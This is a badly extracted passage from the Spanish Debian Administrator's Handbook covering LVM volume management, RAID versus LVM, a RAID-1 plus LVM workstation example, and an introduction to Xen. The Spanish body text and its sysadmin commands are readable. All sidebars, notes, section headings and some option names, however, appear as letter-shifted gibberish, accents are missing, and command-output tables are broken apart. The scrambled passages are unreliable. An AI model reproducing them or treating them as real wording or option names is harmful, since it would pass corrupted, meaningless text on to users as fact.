EBUPT DPNQBSBEP DPO FM TFSWJEPS EF BSDIJWPT %F FTB GPSNB MB PSEFO B FKFDVUBS
TFSB lvcreate -n lv_base -L 1G vg_critical /dev/sdb2 4FQB RVF FTUB
FKFDVDJO QVFEF GBMMBS TJ FM 17 OP QPTFF TVGJDJFOUFT FYUFOTJPOFT MJCSFT &O OVF
TUSP FKFNQMP QSPCBCMFNFOUF EFCFSBNPT DSFBS lv_base BOUFT RVF lv_files
QBSB FWJUBS FTUB TJUVBDJO P MJCFSBS BMHP EF FTQBDJP FO sdb2 DPO FM QSPHSBNB
pvmove

Una vez que cre los volmenes lgicos, stos sern archivos de dispositivos de bloque en /dev/
mapper/:

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



# ls -l /dev/mapper
total 0
crw------T 1 root root
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
# ls -l /dev/dm-*
brw-rw---T 1 root disk
brw-rw---T 1 root disk
brw-rw---T 1 root disk

/05"
"VUPEFUFDDJO EF WPMNFOFT
-7.

10, 236
7
7
7

Jan
Jan
Jan
Jan

17
17
17
17

16:52
17:05
17:05
17:05

control
vg_critical-lv_base -> ../dm-1
vg_critical-lv_files -> ../dm-0
vg_normal-lv_backups -> ../dm-2

253, 0 Jan 17 17:05 /dev/dm-0


253, 1 Jan 17 17:05 /dev/dm-1
253, 2 Jan 17 17:05 /dev/dm-2

$VBOEP JOJDJB FM FRVJQP FM TDSJQU /etc/init.d/lvm FTDBOFB MPT EJTQPTJUJWPT


EJTQPOJCMFT SFHJTUSB DPO FM TVCTJTUFNB -7. B BRVFMMPT RVF GVFSPO JOJDJBMJ[BEPT
DPNP WPMNFOFT GTJDPT QBSB -7. BHSVQB BRVFMMPT RVF QFSUFOFDFO B HSVQPT
EF WPMNFOFT F JOJDJBMJ[B Z IBDF EJTQPOJCMFT MPT WPMNFOFT MHJDPT SFMFWBOUFT
1PS MP UBOUP OP FT OFDFTBSJP FEJUBS BSDIJWPT EF DPOGJHVSBDJO DVBOEP DSFB P
NPEJGJDB WPMNFOFT -7.
4FQB TJO FNCBSHP RVF TF SFTQBMEB MB EJTUSJCVDJO EF MPT FMFNFOUPT EF -7.
WPMNFOFT GTJDPT Z MPJDPT Z HSVQPT EF WPMNFOFT
FO /etc/lvm/backup MP
DVBM QVFEF TFS UJM FO DBTP EF BMHO QSPCMFNB P UBO TMP QBSB FTQJBS USBT
CBNCBMJOBT


Para hacer las cosas ms sencillas, se crean enlaces simblicos convenientes en directorios que
coinciden con los VGs:
# ls -l /dev/vg_critical
total 0
lrwxrwxrwx 1 root root 7 Jan 17 17:05 lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7 Jan 17 17:05 lv_files -> ../dm-0
# ls -l /dev/vg_normal
total 0
lrwxrwxrwx 1 root root 7 Jan 17 17:05 lv_backups -> ../dm-2

Puede utilizar LVs exactamente de la misma forma que particiones estndar:


# mkfs.ext4 /dev/vg_normal/lv_backups
mke2fs 1.42.5 (29-Jul-2012)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
[...]
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /srv/backups
# mount /dev/vg_normal/lv_backups /srv/backups
# df -h /srv/backups
Filesystem
Size Used Avail Use % Mounted on
/dev/mapper/vg_normal-lv_backups
12G 158M
12G
2 % /srv/backups



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# [...]
[...]
# cat /etc/fstab
[...]
/dev/vg_critical/lv_base
/dev/vg_critical/lv_files
/dev/vg_normal/lv_backups

/srv/base
/srv/files
/srv/backups

ext4
ext4
ext4

Desde el punto de vista de las aplicaciones, todas las pequeas particiones se encuentran abstradas en un gran volumen de 12 GB con un nombre ms amigable.

-7. FO FM UJFNQP
An cuando es conveniente poder agrupar particiones o discos fsicos, esta no es la principal
ventaja que provee LVM. La flexibilidad que brinda es especialmente notable con el paso del
tiempo cuando evolucionan las necesidades. En nuestro ejemplo, supongamos que debemos almacenar nuevos archivos grandes y que el LV dedicado al servidor de archivos es demasiado pequeo para contenerlos. Debido a que no utilizamos todo el espacio disponibleen vg_critical,
podemos aumentar el tamao de lv_files. Para ello, utilizaremos el programa lvresize y
luego resize2fs para adaptar el sistema de archivos segn corresponda:
# df -h /srv/files/
Filesystem
Size Used Avail Use % Mounted on
/dev/mapper/vg_critical-lv_files 5.0G 4.6G 146M 97 % /srv/files
# lvdisplay -C vg_critical/lv_files
LV
VG
Attr
LSize Pool Origin Data % Move Log Copy % Convert
lv_files vg_critical -wi-ao-- 5.00g
# vgdisplay -C vg_critical
VG
#PV #LV #SN Attr
VSize VFree
vg_critical
2
2
0 wz--n- 8.09g 2.09g
# lvresize -L 7G vg_critical/lv_files
Extending logical volume lv_files to 7.00 GB
Logical volume lv_files successfully resized
# lvdisplay -C vg_critical/lv_files
LV
VG
Attr
LSize Pool Origin Data % Move Log Copy % Convert
lv_files vg_critical -wi-ao-- 7.00g
# resize2fs /dev/vg_critical/lv_files
resize2fs 1.42.5 (29-Jul-2012)
Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing
required
old_desc_blocks = 1, new_desc_blocks = 1
Performing an on-line resize of /dev/vg_critical/lv_files to 1835008 (4k) blocks.
The filesystem on /dev/vg_critical/lv_files is now 1835008 blocks long.
# df -h /srv/files/
Filesystem
/dev/mapper/vg_critical-lv_files

Size
6.9G

Used Avail Use % Mounted on


4.6G 2.1G 70 % /srv/files

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



13&$"6$*/
3FEJNFOTJO EF TJTUFNBT EF
BSDIJWPT

/P UPEPT MPT TJTUFNBT EF BSDIJWPT QVFEFO DBNCJBS TV UBNBP GDJMNFOUF


NPEJGJDBS VO WPMNFO QPS MP UBOUP SFRVFSJS QSJNFSP EFTNPUBS FM TJTUFNB
EF BSDIJWPT Z WPMWFS B NPOUBSMP MVFHP 1PS TVQVFTUP TJ VOP EFTFB EJTNJOVJS
FM FTQBDJP BTJHOBEP B VO -7 QSJNFSP EFCF SFEVDJS FM TJTUFNB EF BSDIJWPT FM
PSEFO TF JOWJFSUF DVBOEP FM DBNCJP EF UBNBP FT FO MB PUSB EJSFDDJO QSJNFSP
EFCF BVNFOUBS FM WPMVNFO MHJDP BOUFT RVF FM TJTUFNB EF BSDIJWPT RVF DPO
UJFOF &T CBTUBOUF EJSFDUP ZB RVF FO OJOHO NPNFOUP FM TJTUFNB EF BSDIJWPT
QVFEF TFS NT HSBOEF RVF FM EJTQPTJUJWP EF CMPRVFT FO FM RVF SFTJEF UBOUP
DVBOEP TUF EJTQPTJUJWP TFB VOB QBSUJDJO GTJDB P WPMVNFO MHJDP

-PT TJTUFNBT EF BSDIJWPT FYU FYU Z YGT QVFEFO BHSBOEBSTF TJO EFTNPOUBSMPT
EFCFS EFTNPOUBSMPT QBSB SFEVDJSMPT &M TJTUFNB EF BSDIJWPT SFJTFSGT QFSNJUF
DBNCJBS FM UBNBP FO DVBMRVJFS EJSFDDJO TJO EFTNPOUBSMP &M WFOFSBCMF FYU
OP MP QFSNJUF Z TJFNQSF OFDFTJUBS EFTNPOUBSMP QSJNFSP

Podemos proceder de una forma similar para extender el volumen que almacena la base de
datos, slo que habremos alcanzado el lmite de espacio disponible del VG:
# df -h /srv/base/
Filesystem
Size
/dev/mapper/vg_critical-lv_base 1008M
# vgdisplay -C vg_critical
VG
#PV #LV #SN Attr
VSize
vg_critical
2
2
0 wz--n- 8.09g

Used Avail Use % Mounted on


854M 104M 90 % /srv/base
VFree
92.00m

Esto no importa ya que LVM permite agregar volmenes fsicos a grupos de volmenes existentes. Por ejemplo, podramos haber notado que la particin sdb1, que se encontraba fuera
de LVM hasta ahora, slo contena archivos que podan ser movidos a lv_backups. Ahora podremos reciclarla e integrarla al grupo de volmenes y reclamar as espacio disponible. Este es
el propsito del programa vgextend. Por supuesto, debe prepara la particin como un volmen
fsico antes. Una vez que extendi el VG, puede ejecutar rdenes similares a las anteriores para
aumentar el volumen lgico y luego el sistema de archivos:
# pvcreate /dev/sdb1
Writing physical volume data to disk "/dev/sdb1"
Physical volume "/dev/sdb1" successfully created
# vgextend vg_critical /dev/sdb1
Volume group "vg_critical" successfully extended
# vgdisplay -C vg_critical
VG
#PV #LV #SN Attr
VSize VFree
vg_critical
3
2
0 wz--n- 9.09g 1.09g
# [...]
[...]
# df -h /srv/base/
Filesystem
Size Used Avail Use % Mounted on
/dev/mapper/vg_critical-lv_base 2.0G 854M 1.1G 45 % /srv/base



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

:&/%0 .4 "--
-7. BWBO[BEP

-7. UBNCJO TF BEBQUB B VTVBSJPT NT BWBO[BEPT RVF QVFEFO FTQFDJGJDBS


B NBOP NVDIPT EFUBMMFT 1PS FKFNQMP VO BENJOJTUSBEPS QVFEF BEBQUBS FM
UBNBP EF MPT CMPRVFT RVF DPNQPOFO B MPT WPMNFOFT MHJDPT Z GTJDPT BT DP
NP UBNCJO MB EJTUSJCVDJO GTJDB 5BNCJO FT QPTJCMF NPWFS CMPRVFT FOUSF 17T
QPS FKFNQMP QBSB BKVTUBS FM SFOEJNJFOUP P MP RVF FT NFOPT JOUFSFTBOUF MJCFSBS
VO 17 DVBOEP VOP OFDFTJUF FYUSBFS FM EJTDP GTJDP DPSSFTQPOEJFOUF EFM 7( ZB
TFB QBSB BTPDJBSMP B PUSP 7( P QBSB FMJNJOBSMP DPNQMFUBNFOUF EF -7.
 -BT
QHJOBT EF NBOVBM RVF EFTDSJCFO FTUPT QSPHSBNBT HFOFSBMNFOUF TPO DMBSBT Z
EFUBMMBEBT 6O CVFO QVOUP EF QBSUJEB FT MB QHJOB EF NBOVBM lvm(8)

 3"*% P -7.


Tanto RAID como LVM proveen ventajas indiscutibles tan pronto como uno deja el caso simple
de un equipo de escritorio con slo un disco duro en el que los patrones de uso no cambian con
el tiempo. Sin embargo, RAID y LVM toman direcciones diferentes, con objetivos distintos y es
legtimo preguntarse cul utilizar. La respuestas ms apropiada, por supuesto, depender de los
requerimientos actuales y previstos.
Hay unos pocos casos simples en los que no surge esta pregunta. Si los requisitos son proteger los datos contra fallos de hardware, obviamente entonces configurar RAID en un array de
discos redundantes ya que LVM no soluciona este problema realmente. Si, por el otro lado, necesita un esquema de almacenamiento flexible en el que los volmenes sean independientes de la
distribucin fsica de los discos, RAID no es de mucha ayuda y LVM es la eleccin natural.
/05"
4J FM SFOEJNJFOUP JNQPSUB

4J MB WFMPDJEBE EF FOUSBEBTBMJEB FT FTDFODJBM FTQFDJBMNFOUF FO DVBOUP B UJFN


QPT EF BDDFTP VUJMJ[BS -7. ZP 3"*% FT VOB EF MBT OVNFSPTBT DPNCJOBDJPOFT
RVF UFOESO JNQBDUP FO FM SFOEJNJFOUP Z FTUP JOGMVFODJBS MBT EFDJTJPOFT TP
CSF DVM FMFHJS 4JO FNCBSHP FTUBT EJGFSFODJBT EF SFOEJNJFOUP TPO SFBMNFOUF
NOJNBT Z TMP QPESO TFS NFEJEBT FO VOPT QPDPT DBTPT EF VTP 4J JNQPS
UB FM SFOEJNJFOUP MB NFKPS HBOBODJB RVF QVFEF PCUFOFS TFSB VUJMJ[BS NFEJPT
EF BMNBDFOBNJFOUP OP SPUBUJWPT EJTDPT EF FTUBEP TMJEP P 44%T k4PMJE 4UBUF
%SJWFT{
 TV DPTUP QPS NFHBCZUF FT NT BMUP RVF PUSPT EJTDPT EVSPT FTUOEBS Z
TV DBQBDJEBE HFOFSBMNFOUF FT NFOPS QFSP QSPWFFO VO SFOEJNJFOUP FYDFMFOUF
QBSB BDDFTPT BMFBUPSJPT 4J FM QBUSO EF VTP JODMVZF NVDIBT PQFSBDJPOFT EF FO
USBEBTBMJEB EJTUSJCVEBT FO UPEP FM TJTUFNB EF BSDIJWPT QPS FKFNQMPT FO CBTFT
EF EBUPT EPOEF TF FKFDVUBO GSFDVFOUFNFOUF DPOTVMUBT DPNQMFKBT MB WFOUBKB EF
FKFDVUBSMBT FO VO 44% TPCSFQBTBO HSBOEFNFOUF DVBMRVJFS HBOBODJB EF FMFHJS
-7. TPCSF 3"*% P TV JOWFSTB &O FTUBT TJUVBDJPOFT EFCF SFBMJ[BS TV TFMFDDJO
TFHO DPOTJEFSBDJPOFT EJGFSFOUFT B TMP MB WFMPDJEBE ZB RVF QVFEF DPOUSPMBS
FTUF BTQFDUP NT GDJMNFOUF VUJMJ[BOEP 44%T

El tercer caso notable de uso es uno en el que uno slo desea agrupar dos discos en un solo volumen, ya sea por razones de rendimiento o para tener slo un sistema de archivos ms grande que
cualquiera de los discos disponibles. Puede solucionar este caso tanto con RAID-0 (o inclusive
RAID lineal) como con un volumen LVM. Cuando se encuentre con esta situacin, y sin limitaciones adicionales (por ejemplo, ser consistente con el resto de los equipos si slo utilizan RAID),

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



generalmente elegir utilizar LVM. La configuracin inicial es ligeramente ms compleja y es


compensada por la flexibilidad adicional que provee LVM si cambian los requisitos o necesita
agregar nuevos discos.
Luego por supuesto, est el caso de uso realmente interesante, en el que el sistema de almacenamiento debe ser resistente a fallos de hardware y tambin flexible en cuanto a la asignacin de
volmenes. Ni RAID ni LVM pueden solucionar ambos requisitos por s mismos; no importa, esta
es la situacin en la que utilizaremos ambos al mismo tiempo o ms bien, uno sobre el otro. El
esquema ms utilizado, casi un estndar desde que RAID y LVM son suficientemente maduros,
es asegurar redundancia en los datos primero agrupando discos en una cantidad menor de arrays RAID grandes y luego utilizar estos arrays RAID como volmenes fsicos LVM; conseguir
las particiones lgicas para los sistemas de archivo a partir de estos LVs. El punto fuerte de esta
configuracin es que, cuando falla un disco, slo necesitar reconstruir una pequea cantidad
de arrays RAID, de esa forma limitando el tiempo que utiliza el administrador en recuperarlo.
Veamos un caso concreto: el departamento de relaciones pblicas en Falcot Corp necesita una
estacin de trabajo para edicin de video, pero el presupuesto del mismo no permite invertir en
hardware de gama alta desde el principio. Se decide entonces utilizar el presupuesto en hardware especfico a la naturaleza grfica del trabajo (pantalla y tarjeta de video) y utilizar hardware
genrico para el almacenamiento. Sin embargo, como es pblicamente conocido, el video digital
tiene ciertas necesidades particulares para su almacenamiento: una gran cantidad de datos que
guardar y es importante la tasa de rendimiento para leer y escribir estos datos es importante
para el rendimiento general del sistema (ms que el tiempo tpico de acceso, por ejemplo). Necesita cumplir estos requisitos con hardware genrico, en este caso dos discos duros SATA de 300
Gb; tambin debe hacer que los datos de sistema, y algunos datos de usuarios, puedan resistir
fallos en el hardware. Los videos editados deben estar seguros, pero los videos que todava no
fueron editados son menos crticos ya que todava se encuentran en cinta.
Satisfacemos estas limitaciones combinando RAID-1 y LVM. Conectamos los discos a dos controladoras SATA diferentes para optimizar el acceso en paralelo y reducir el riesgo de fallos
simultneos, por lo que aparecern como sda y sdc. Los particionamos de forma idntica segn
el siguiente esquema:
# fdisk -l /dev/sda
Disk /dev/hda: 300.0 GB, 300090728448 bytes
255 heads, 63 sectors/track, 36483 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00039a9f
Device Boot
/dev/sda1
*
/dev/sda2
/dev/sda3
/dev/sda5
/dev/sda6



Start
1
125
249
249
12698

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

End
124
248
36483
12697
25146

Blocks
995998+
996030
291057637+
99996561
99996561

Id
fd
82
5
fd
fd

System
Linux raid
Linux swap
Extended
Linux raid
Linux raid

autodetect
/ Solaris
autodetect
autodetect

/dev/sda7

25147

36483

91064421

8e

Linux LVM

Agrupamos las primeras particiones de ambos discos (de alrededor de 1 GB) en un volmen RAID-1, md0. Utilizamos el espejo directamente para almacenar el sistema de archivos
raz.
Utilizamos las particiones sda2 y sdc2 como particiones de intercambio que proveen un
total de 2 GB de espacio de intercambio. Con 1 GB de RAM, la estacin de trabajo tiene una
cantidad adecuada de memoria disponible.
Agrupamos las particiones sda5 y sdc5, as como tambin sda6 y sdc6, en dos nuevos
volmenes RAID-1 de alrededor de 100 GB cada uno: md1 y md2. Inicializamos ambos espejos como volmenes fsicos para LVM y se los asigna al grupo de volmenes vg_raid. Por
lo tanto, este VG contiene aproximadamente 200 GB de espacio seguro.
Utilizamos las particiones restantes, sda7 y sdc7, directamente como volmenes fsicos
y las asignamos a otro VG llamado vg_bulk que contiene, de esa forma, alrededor de 200
GB de espacio.
Una vez que crearomos los VGs, podemos particionalos de forma muy flexible. Uno debe recordar que se preservarn los LVs creados en vg_raid an si falla uno de los discos, pero no ser el
caso de los LVs creados en vg_bulk; por el otro lado, este ltimo ser resevado en paralelo en
ambos discos lo que permitir velocidades de lectura y escritura mayores para archivos grandes.
Creamos entonces los LVs lv_usr, lv_var y lv_home en vg_raid para almacenar los sistemas
de archivos correspondientes; utilizaremos otro LV grande, lv_movies, para almacenar las versiones finales de los videos luego de editarlos. Dividiremos el otro VG en un gran lv_rushes,
para datos directamente obtenidos de las cmaras de video digital, y lv_tmp para archivos temporales. La ubicacin del rea de trabajo es una decisin menos directa: si bien necesitamos buen
rendimiento en dicho volmen, se justifica perder trabajo si falla un disco durante una sesin
de edicin? Dependiendo de la respuesta a dicha pregunta, crearemos el LV correspondiente en
un VG o el otro.
Ahora tenemos tanto redundancia para datos importantes como flexibilidad sobre la forma en la
que se divide el espacio disponible entre las aplicaciones. En caso que se instale nuevo software
(para editar pistas de audio por ejemplo), puede aumentar sin problemas el LV que almacena
/usr/.
/05"
1PSRV USFT WPMNFOFT
3"*%

1PESBNPT IBCFS DSFBEP TMP VO WPMVNFO 3"*% B VUJMJ[BS DPNP WPMVNFO


GTJDP QBSB vg_raid 1PS RV DSFBNPT USFT FOUPODFT
&M SB[POBNJFOUP QBSB MB QSJNFSB EJWJTJO md0 Z MPT EFNT
FT QPS TFHVSJEBE
EF MPT EBUPT MPT EBUPT FTDSJUPT B BNCPT FMFNFOUPT EF VO FTQFKP 3"*% TPO
FYBDUBNFOUF MPT NJTNPT QPS MP RVF FT QPTJCMF FWJUBS MB DBQB 3"*% Z NPOUBS
VOP EF MPT EJTDPT EJSFDUBNFOUF &O DBTP EF VO FSSPS EFM ODMFP QPS FKFNQ
MP P TJ TF DPSSPNQFO MPT NFUBEBUPT -7. UPEBWB FT QPTJCMF BSSBODBS VO TJT
UFNB NOJNP QBSB BDDFEFS EBUPT DSUJDPT DPNP MB EJTUSJCVDJO EF EJTDPT FO MPT
WPMNFOFT 3"*% Z -7. QPESFNPT MVFHP SFDPOTUSVJS MPT NFUBEBUPT Z BDDFEFS
B MPT BSDIJWPT OVFWBNFOUF QBSB QPEFS EFWPMWFS FM TJTUFNB B TV FTUBEP OPSNBM

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



&M SB[POBNJFOUP QBSB MB TFHVOEB EJWJTJO md1 WT md2


FT NFOPT FTUSJDUP Z FT
U NT SFMBDJPOBEP DPO FM SFDPOPDJNJFOUP RVF FM GVUVSP FT JODJFSUP $VBOEP TF
FOTBNCM FM FRVJQP OP TF DPOPDBO FYBDUBNFOUF MPT SFRVJTJUPT UBNCJO QVFEF
FWPMVDJPOBS DPO FM UJFNQP &O OVFTUSP DBTP OP QPEFNPT TBCFS QPS BEFMBOUBEP
MB OFDFTJEBE EF FTQBDJP EF BMNBDFOBNJFOUP EF DBEB UJQP EF WJEFPT 4J VO WJEFP
FO QBSUJDVMBS OFDFTJUB VOB HSBO DBOUJEBE EF WJEFPT TJO FEJUBS Z FM 7( EFEJDB
EP QBSB EBUPT SFEVOEBOUFT OP UJFOF NT EF MB NJUBE EFM FTQBDJP EJTQPOJCMF
QPEFNPT SFVUJMJ[BS QBSUF EF TV FTQBDJP JOOFDFTBSJP 1PEFNPT RVJUBS VOP EF
MPT WPMNFOFT GTJDPT QPS FKFNQMP md2 EF vg_raid Z BTJHOBSMP B vg_bulk EJ
SFDBNFOUF TJ MB EVSBDJO FTQFSBEB EF MB PQFSBDJO FT TVGJDJFOUFNFOUF DPSUB
DPNP QBSB RVF OP OPT QSFPDVQF MB QSEJEB UFNQPSBM EF SFOEJNJFOUP
P EF
TIBDFS MB DPOGJHVSBDJO 3"*% FO md2 F JOUFHSBS TVT DPNQPOFOUFT sda6 Z sdc6
FO FM 7( RVF DSFDFS  (# FO MVHBS EF  (#
 MVFHP QPESFNPT BVNFOUBS
FM WPMVNFO MHJDP lv_rushes TFHO TF OFDFTJUF

 7JSUVBMJ[BDJO
La virtualizacin es uno de los avances ms grandes de la informtica en los ltimos aos. El
trmino abarca varias abstracciones y tcnicas de simulacin de equipos virtuales con un grado
variable de independencia de hardware real. Un servidor fsico puede almacenar varios sistemas
que funcionan de forma simultnea y aislada. Sus aplicaciones son muchas y generalmente surgen de este aislamiento: entornos de prueba con diferentes configuraciones o separar los servicios provistos entre diferentes mquinas virtuales por seguridad.
Hay mltiples soluciones de virtualizacin, cada una con sus ventajas y desventajas. Este libro se
concentrar en Xen, LXC y KVM; pero otras implementaciones notables incluyen las siguientes:
QEMU es un emulador en software para un equipo completo; su rendimiento est lejos de
la velocidad que uno podra conseguir si ejecutara nativamente, pero esto permite ejecutar en el hardware emulado sistemas operativos sin modificacin o experimentales. Tambin permite emular una arquitectura de hardware diferente: por ejemplo, un sistema
amd64 puede emular una mquina arm. QEMU es software libre.
http://www.qemu.org/
Bochs es otra mquina virtual libre, pero slo emula la arquitectura x86 (i386 y amd64).
VMWare es una mquina virtual privativa; como es una de las ms antiguas es tambin
una de las ms conocidas. Funciona sobre cimientos similares a los de QEMU. VMWare
propone funcionalidad avanzada como instantneas (snapshot) de una mquina virtual
en ejecucin.
http://www.vmware.com/
VirtualBox es una mquina virtual que es software libre en su mayor parte (aunque algunos componentes adicionales estn disponibles bajo una licencia privativa). Es ms
joven que VMWare y limitada a las arquitecturas i386 y amd64, pero incluye cierta compatibilidad con instantneas y otras funcionalidades interesantes. VirtualBox es parte de
Debian desde Lenny.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

http://www.virtualbox.org/

 9FO
Xen es una solucin de paravirtualizacin. Introduce una fina capa de abstraccin, llamada
hypervisor, entre el hardware y los sistemas superiores; sta acta como rbitro controlando el acceso al hardware desde las mquinas virtuales. Sin embargo, slo gestiona unas pocas
instrucciones, las dems se ejecutan directamente en el hardware en nombre de los sistemas.
La principal ventaja es que no se degrada el rendimiento y los sistemas ejecutan a velocidades
cercanas a la nativa; la desventaja es que el ncleo de los sistemas operativos que uno desee
utilizar en un hypervisor Xen necesita ser adaptado para ejecutar sobre Xen.
Pasemos un poco de tiempo en los trminos. El hypervisor es la capa ms baja que ejecuta directamente en el hardware, inclusive debajo del ncleo. Este hypervisor puede dividir el resto
del software entre varios dominios (domains), pueden interpretarse como mquinas virtuales.
Se conoce a uno de estos dominios (el primero en iniciar) como dom0 y tiene un rol especial ya
que slo este dominio puede controlar al hypervisor y la ejecucin de otros dominios. Se conocen a los otros dominios como domU. En otras palabras, desde el punto de vista del usuario, el
dom0 es el anfitrin de los dems sistemas de virtualizacin, mientras que los domU son sus
invitados.
$6-563"
9FO Z MBT WBSJBT WFSTJPOFT EF
-JOVY

*OJDJBMNFOUF TF EFTBSSPMM 9FO DPNP VO DPOKVOUP EF QBSDIFT RVF FYJTUBO


GVFSB EFM SCPM PGJDJBM Z OP FTUBCBO JOUFHSBEPT FO FM ODMFP -JOVY "M NJT
NP UJFNQP NVDIPT TJTUFNBT EF WJSUVBMJ[BDJO FNFSHFOUFT JODMVZFOEP ,7.

OFDFTJUBCBO DJFSUBT GVODJPOFT SFMBDJPOBEBT DPO MB WJSUVBMJ[BDJO QBSB GBDJMJUBS


TV JOUFHSBDJO Z FM ODMFP -JOVY EFTBSSPMM EJDIBT GVODJPOFT DPOPDJEBT DPNP
MB JOUFSGB[ QBSBWJSU@PQT P QW@PQT
 %FCJEP B RVF BMHVOPT QBSDIFT EF 9FO EV
QMJDBCBO QBSUF EF MB GVODJPOBMJEBE EF FTUB JOUFSGB[ OP QPEBO TFS BDFQUBEPT
PGJDJBMNFOUF
9FOTPVSDF MB FNQSFTB EFUST EF 9FO UVWP FOUPODFT RVF NJHSBS 9FO B FTUB
OVFWB JOUFSGB[ QBSB RVF TF QVEJFSBO JOUFHSBS MPT QBSDIFT 9FO BM ODMFP -JOVY
PGJDJBM &TUP TJHOJGJD SFFTDSJCJS NVDIP DEJHP Z TJ CJFO 9FOTPVSDF DPOTJHV
J VOB WFSTJO GVODJPOBM CBTBEB FO MB JOUFSGB[ QBSBWJSU@PQT SQJEBNFOUF MPT
QBSDIFT GVFSPO JODMVJEPT QSPHSFTJWBNFOUF FO FM ODMFP PGJDJBM &TUB JOUFHSBDJO
TF DPNQMFU FO -JOVY 
http://wiki.xenproject.org/wiki/XenParavirtOps

%BEP RVF 8IFF[Z VUJMJ[B MB WFSTJO  EFM ODMFP -JOVY MPT QBRVFUFT MJOVY
JNBHFQBF Z MJOVYJNBHFBNE JODMVZFO FM DEJHP OFDFTBSJP ZB OP FYJTUFO
MPT QBSDIFT FTQFDGJDPT OFDFTBSJPT QBSB %FCJBO 4RVFF[F Z BOUFSJPSFT
http://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

Utilizar Xen en Debian requiere tres componentes:


/05"
"SRVJUFDUVSBT DPNQBUJCMFT
DPO 9FO

9FO TMP FTU EJTQPOJCMF BDUVBMNFOUF QBSB MBT BSRVJUFDUVSBT J Z BNE -P
RVF FT NT VUJMJ[B JOTUSVDDJPOFT EF QSPDFTBEPS RVF OP TJFNQSF FTUVWJFSPO

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



EJTQPOJCMFT FO UPEPT MPT FRVJQPT EF DMBTF J 4FQB RVF GVODJPOBSO MB NBZ
PSB EF MPT QSPDFTBEPSFT EF DMBTF 1FOUJVN P NFKPSFT
DSFBEPT EFTQVT EF 
QPS MP RVF FTUB SFTUSJDDJO OP BQMJDBS FO EFNBTJBEBT TJUVBDJPOFT

$6-563"
9FO Z ODMFPT EJTUJOUPT B
-JOVY

9FO OFDFTJUB NPEJGJDBDJPOFT FO UPEPT MPT TJTUFNBT PQFSBUJWPT RVF VOP EFTFF
FKFDVUBS FO M OP UPEPT MPT ODMFPT UJFOF FM NJTNP OJWFM EF NBEVSF[ FO FTUF
BTQFDUP .VDIPT TPO DPNQMFUBNFOUF GVODJPOBMFT UBOUP QBSB EPN DPNP QBSB
EPN6 -JOVY  Z QPTUFSJPS /FU#4%  Z QPTUFSJPS Z 0QFO4PMBSJT 0USPT
DPNP 0QFO#4%  'SFF#4%  Z 1MBO  TMP GVODJPOBO DPNP EPN6
4JO FNCBSHP TJ 9FO QVFEF DPOGJBS FO GVODJPOFT EF IBSEXBSF EFEJDBEBT B MB WJS
UVBMJ[BDJO RVF TMP FTUO QSFTFOUFT FO QSPDFTBEPSFT NT SFDJFOUFT
JODMVTJWF
TJTUFNBT PQFSBUJWPT TJO NPEJGJDBDJO QVFEFO FKFDVUBS DPNP EPN6 JODMVZFO
EP 8JOEPXT


El hypervisor en s mismo. Segn el hardware disponible, el paquete apropiado ser xenhypervisor-4.1-i386 o xen-hypervisor-4.1-amd64.
Un ncleo que ejecuta sobre dicho hipervisor. Cualquier ncleo posterior a 3.0 funcionar,
incluyendo la versin 3.2 presente en Wheezy.
La arquitectura i386 tambin necesita una biblioteca estndar con los parches apropiados
para aprovechar Xen; sta se encuentra en el paquete libc6-xen.
Para poder evitar la molesta de seleccionar estos componentes a mano, tiene disponibles varios paquetes por conveniencia (como xen-linux-system-686-pae y xen-linux-system-amd64); todos
ellos incluirn una combinacin de paquetes del ncleo e hypervisor que se sabe funcionan bien. El hypervisor tambin incluir xen-utils-4.1, que contien las herramientas para controlar el
hypervisor desde el dom0. A su vez, ste incluir la biblioteca estndar apropiada. Durante la
instalacin de todo esto, los scripts de configuracin tambin crearn un nuevo elemento en el
men del gestor de arranque Grub para iniciar el ncleo elegido en un dom0 Xen. Sepa sin embargo que generalmente ste no ser el primero en la lista y, por lo tanto, no estar seleccionado
de forma predeterminada. Si este no es el comportamiento que desea, ejecutar lo siguiente lo
cambiar:
# mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen
# update-grub

Una vez que instal estos prerequisitos, el siguiente paso es probar el comportamiento del dom0
en s mismo; esto incluye reiniciar para utilizar el hypervisor y ncleo Xen. El sistema debera
iniciar como siempre, con unos pocos mensajes adicionales en la consola durante los primeros
pasos de inicializacin.
Ahora es el momento de instalar sistemas tiles en los sistemas domU, utilizando las herramientas en xen-tools. Este paquete provee el programa xen-create-image, que automatiza en gran
parte esta tarea. El nico parmetro obligatorio es IPTUOBNF, que le da un nombre al domU; otras opciones son importantes, pero puede guardarlas en el archivo de configuracin
/etc/xen-tools/xen-tools.conf y si no las especifica no generar ningn error. Por lo tanto es importante revisar el contenido de este archivo antes de crear imgenes o utilizar los



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

parmetros adicionales en la invocacin de xen-create-image. Los parmetros importantes


a saber incluyen los siguientes:

NFNPSZ para especificar la cantidad de RAM dedicada a este nuevo sistema creado;
TJ[F y TXBQ para definir el tamao de los discos virtuales disponibles al domU;
EFCPPUTUSBQ para causar que se instale el nuevo sistema con debootstrap; en tal caso,
generalmente tambin utilizar la opcin EJTU (con el nombre de una distribucin como
wheezy).
:&/%0 .4 "-- &O FM DBTP EF VO TJTUFNB EJTUJOUP B -JOVY EFCF UFOFS DVJEBEP EF EFGJOJS
*OTUBMBDJO EF VO TJTUFNB FM ODMFP RVF EFCF VUJMJ[BS FM EPN6 DPO MB PQDJO --kernel
EJTUJOUP B %FCJBO FO VO
